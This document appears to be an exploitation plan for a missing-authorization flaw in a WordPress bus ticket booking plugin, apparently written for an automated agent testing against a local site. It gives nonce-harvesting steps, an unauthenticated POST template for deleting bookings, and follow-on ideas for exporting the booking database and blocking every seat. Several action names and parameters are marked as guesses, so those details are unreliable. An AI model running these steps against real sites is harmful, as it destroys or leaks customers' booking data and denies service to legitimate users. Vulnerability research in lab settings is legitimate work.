Bus Ticket Booking with Seat Reservation < 5.6.8 - Missing Authorization

This research plan outlines the steps to identify and exploit a missing authorization vulnerability in the Bus Ticket Booking with Seat Reservation plugin for WordPress.

1. Vulnerability Summary

The Bus Ticket Booking with Seat Reservation plugin (versions < 5.6.8) fails to implement proper capability checks on several AJAX handlers registered via wp_ajax_nopriv_*. This allows unauthenticated users to perform actions that should be restricted to administrators or authorized staff, such as deleting bookings or modifying seat reservations.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Method: POST
• Action: The vulnerable action is likely related to booking management. Based on plugin structure, candidate actions include:
  • wppb_bus_booking_delete (Inferred)
  • wppb_cancel_booking (Inferred)
  • wppb_remove_booked_seat (Inferred)
• Parameters:
  • action: The AJAX action name.
  • nonce: A security token (if enforced, but often shared or bypassable).
  • id or booking_id: The identifier of the booking to delete or modify.
• Authentication: None (Unauthenticated).

3. Code Flow

1. Entry Point: The plugin registers AJAX hooks in its main file or an includes file (e.g., includes/class-wppb-ajax.php).
2. Hook Registration: add_action('wp_ajax_nopriv_wppb_delete_booking', 'wppb_delete_booking_callback'); (Inferred).
3. Vulnerable Function: The callback function (e.g., wppb_delete_booking_callback) performs a database operation (like $wpdb->delete) based on the provided ID.
4. Missing Check: The function lacks a current_user_can('manage_options') or equivalent check, and may rely solely on a nonce that is exposed to unauthenticated users.

4. Nonce Acquisition Strategy

If the plugin enforces a nonce check via check_ajax_referer or wp_verify_nonce, we must acquire a valid nonce for the nopriv session.

1. Identify Script Localization: Search for wp_localize_script in the plugin code to find the JS object containing the nonce.
   • Command: grep -r "wp_localize_script" .
   • Key to find: The variable name (e.g., wppb_ajax_obj) and the nonce key (e.g., nonce).
2. Identify Triggering Shortcode: Find which shortcode enqueues the relevant scripts.
   • Command: grep -r "add_shortcode" .
   • Likely candidates: [bus_ticket_booking], [wppb_booking_list], or [wppb_search].
3. Extraction:
   • Create a page with the identified shortcode using WP-CLI.
   • Navigate to the page using browser_navigate.
   • Extract the nonce using browser_eval.
   • Example JS: window.wppb_ajax_obj?.nonce

5. Exploitation Strategy

Step 1: Discover Exact Hook

Search the plugin source for wp_ajax_nopriv to identify the specific unauthorized action.

grep -r "wp_ajax_nopriv_" .

Step 2: Identify Parameters

Examine the callback function for that hook to see which parameters (e.g., booking_id) it expects.

Step 3: Test Data Setup

Create a bus and a booking to have a target for deletion.

1. Use the plugin's admin interface (if available) or WP-CLI to create a bus route.
2. Create a booking through the frontend or by manually inserting a row into the {prefix}wppb_bookings table.

Step 4: Execute Deletion

Use http_request to send the unauthorized delete request.

Request Template:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=[FOUND_ACTION]&nonce=[EXTRACTED_NONCE]&booking_id=[TARGET_ID]

6. Test Data Setup

1. Target Content: Ensure at least one booking exists in the database.
   • SQL to check: SELECT id FROM wp_wppb_bookings LIMIT 1;
2. Nonce Page: Create a page to leak the nonce:

   wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content="[bus_ticket_booking]"
   

7. Expected Results

• HTTP Response: Status 200 or 302, often with a JSON body {"success": true} or a simple string like 1.
• Database State: The record in wp_wppb_bookings with the specified ID should be removed or its status changed.

8. Verification Steps

1. Database Check: Run a WP-CLI command to verify the record is gone.

   wp db query "SELECT count(*) FROM wp_wppb_bookings WHERE id = [TARGET_ID]"
   

   If the count is 0, the exploit was successful.
2. Unauthorized Check: Ensure this request was performed without any Cookie headers (completely unauthenticated).

9. Alternative Approaches

• Export Exploitation: If wppb_export_bookings is a nopriv action, attempt to download the full booking database as a CSV.
• Seat Manipulation: If wppb_update_seat_status is exposed, attempt to mark all seats on a bus as "booked" to perform a Denial of Service (DoS) on the booking system for legitimate users.